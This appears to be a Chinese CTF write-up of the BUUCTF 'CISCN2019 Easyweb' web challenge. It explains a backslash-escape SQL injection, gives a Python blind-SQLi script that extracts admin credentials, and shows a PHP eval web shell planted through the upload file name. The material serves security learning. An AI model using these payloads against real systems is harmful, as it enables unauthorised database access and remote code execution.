BUUCTF-WEB 【CISCN2019 总决赛 Day2 Web1】Easyweb 1

考点:备份文件泄漏、sql盲注、绕过php字符文件上传

打开

image-20210425150445173

一个普普通通的登录框,查看源代码,图片是通过请求 image.php?id=1 的方式得到的。测试了下,好像只会显示图片和不显示图片,只要发现有登录框的题,都会测试sql注入,和扫目录。sql注入,没有明显报错,扫描目录的结果如下。

image-20210425152130334

发现 robots.txt image.php.bak 关键信息

打开 robots.txt

image-20210425152604122

关键信息 *.php.bak

下载 image.php.bak 得到一份image.php 的源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php
include "config.php";

$id=isset($_GET["id"])?$_GET["id"]:"1";
$path=isset($_GET["path"])?$_GET["path"]:"";

# addslashes
$id=addslashes($id);
$path=addslashes($path);
# 一般 addslashes 和 str_replace 放在一起 有可能照成 某些字符逃逸
# str_replace 将 字符串中带有 \0 %00 \' \ 替换成 '
$id=str_replace(array("\\0","%00","\\'","'"),"",$id);
$path=str_replace(array("\\0","%00","\\'","'"),"",$path);

$result=mysqli_query($con,"select * from images where id='{$id}' or path='{$path}'");
$row=mysqli_fetch_array($result,MYSQLI_ASSOC);

$path="./" . $row["path"];
header("Content-Type: image/jpeg");
readfile($path);

简化代码

1
2
3
4
5
6
7
8
9
10
<?php
$id = $_GET['code']; //\0'
echo $id;
echo "<br/>";
$id = addslashes($id); // \\0\'
echo "addslashes:".$id;
# \0 为结束符 空字符 \ ' 替换成 ''
$id = str_replace(array("\\0", "%00", "\\'", "'"), "", $id);
echo '<br/>';
echo $id;
1
2
3
4
5
6
7
// $code='
'
addslashes:\'

// $code=\0
addslashes:\\0
\

当我输入 \0 ,addslashes函数会将 \0 转换成 \\0 , 在经过str_replace的替换 ,就会逃逸出一个\。这个斜杠会照成什么危害呢,接下来把这个\ 拼接到sql语句中。

1
2
3
4
5
# 
$result=mysqli_query($con,"select * from images where id='{$id}' or path='{$path}'");
$row=mysqli_fetch_array($result,MYSQLI_ASSOC);
# 拼接逃逸的 \ 后
$result=mysqli_query($con,"select * from images where id='\' or path='{$path}'");

可以看到 "select * from images where id='\' or path='{$path}'" 中的 ' 被转义 成了 \',id的值就变成了 \' or path= ,后面的 $path 可控。

直接构建payload

1
?id=\0&path= or 1=1 --+

完整的sql查询语句

1
select * from images where id='\' or path=' or 1=1 --+'

id值成了 \' or path= 可控部分为 or 1=1 --+ --+ 注释掉了后面单引号。

需要注意的地方是 or 前边需要留一个空格,不然会挨在id值后面,导致语法失效。

接下来进行利用

sql盲注

构建payload

1
2
3
4
5
6
7
8
# 查表名
or (ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())),1,1))=%s)--+
[+] image,users
# 查列名
or (ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name=0x7573657273)),1,1))=%s)--+
# 0x7573657273 是 字符串转16进制的 users 因为过滤了 '
[+] username,password
# 查值

上脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
import requests

url='http://d8d00e0d-6636-4e83-a4fb-fb6078f71755.node3.buuoj.cn/image.php?id=\\0&path='
flag=''

for i in range(50):
a = 32
b = 128
mid = (a+b)//2
while(a<b):

# or (ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())),%d,1))>%s)--+ 爆表名

# or (ascii(substr((select(group_concat(column_name)))from(information_schema.columns)where(table_name=0x7573657273)),%d,1))>%s)--+ 爆列名
# print(mid)
payload = url+"or (ascii(substr((select(group_concat(username,password))from(users)),%d,1))>%s)--+"%(i,mid)
import time
time.sleep(1)
re = requests.get(url=payload)
# 首先判断目标值 是否小于
if 'JFIF' in re.text:
a = mid + 1
else:
# 目标值 大于 则直接 将 mid 赋值给 b
b = mid
mid = (a+b)//2
#
if (mid==32|mid==128):
break

flag +=chr(mid)
print("[+] " + flag)

还是别人写的脚本优雅,自己写的要提交两次。

结果

image-20210425155510360

用户名 admin 密码 abd0ad13f4eed251de2c

登录

image-20210425155628568

绕过php字符文件上传,文件名写马

经过几经尝试,可以上传除php以外的文件,就是传入的文件名和后缀中不能存在 php,上传后不会给上传到的文件路径,但是会回显下边这样的一个记录。

image-20210425155953638

打开

image-20210425160026559

这个文件记录了上传的文件名。

那么思路就是,通过修改上传文件的文件名为一句话木马,然后访问这个文件进行利用,这里的文件名不能存在 php 字样,用php短标签代替。

一个小知识 PHP开启short_open_tag=on,即可使用短标签

payload

1
<=eval($_POST['cmd']);?>

image-20210425160450870

访问

image-20210425160612495